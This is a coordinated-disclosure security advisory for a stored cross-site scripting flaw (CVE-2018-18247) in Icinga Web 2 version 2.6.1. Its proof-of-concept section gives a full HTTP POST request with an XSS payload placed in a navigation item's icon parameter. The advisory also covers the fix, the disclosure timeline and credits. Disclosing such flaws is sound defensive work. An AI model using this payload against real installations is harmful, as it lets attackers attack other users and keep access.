usd-2018-0029 | Icinga Web 2/2.6.1
Advisory ID: usd-2018-0029
CVE number: CVE-2018-18247
Affected Product: Icinga Web 2
Affected Version: 2.6.1
Vulnerability Type: Stored XSS
Security Risk: High
Vendor URL: https://www.icinga.com/
Vendor Status: Fixed
Description
Stored XSS attack (or persistent attack) occurs when a malicious script is injected directly into a vulnerable web application. Therefore the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.
Proof of Concept (PoC)
The following POST request sent by an authenticated user will create a navigation element for that user (CSRF Token and Cookies need to be valid):
Host: 82.98.89.32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://82.98.89.32/icingaweb2/navigation
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-WindowId: zomfnajxchlq
X-Requested-With: XMLHttpRequest
Content-Length: 338
Cookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=g4egqavdb07u0d6kumaabkhrp9ieuurq; icingaweb2-session=1536677143; icingaweb2-tzo=7200-1
Connection: close
name=Test1&type=menu-item&parent=&target=_blank&url=Test&icon= https://www.usd.de/wp-content/uploads/2014/11/logo-zusatz_kopfzeile_gr.png">alert('XSS')&formUID=form_config_navigation&CSRFToken=19899734%7C5b5599089be32371c84e3cd1ede67f513232add447b299d81705f21f3a6c39ed&btn_submit=Save+Changes
The payload https://www.usd.de/wp-content/uploads/2014/11/logo-zusatz_kopfzeile_gr.png“>alert(‚XSS‘) is inserted into the icon parameter.
The added navigation element is subsequently included in the navigation bar on the left. This can be exploited to attack other users if the attacker holds the privilege to share navigation elements. An attacker with temporary access to a user account could also use this to maintain access.
Fix
Make sure to validate the user supplied input and encode the output.
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.
Timeline
- 2018-09-12 First contact request via security@icinga.com
- 2018-10-02 Vendor received advisories via security@icinga.com
- 2018-10-11 CVE-ID requested.
- 2018-10-12 received CVE ID and notified vendor about it
- 2018-11-09 extended public disclosure deadline to 2018-11-25
- 2018-11-23 vendor states to have fixed the vulnerability in Icinga Web 2 v2.6.2
- 2018-12-07 Security advisory released
Credits
These security vulnerabilities were found by Maximilian Boehner of usd AG.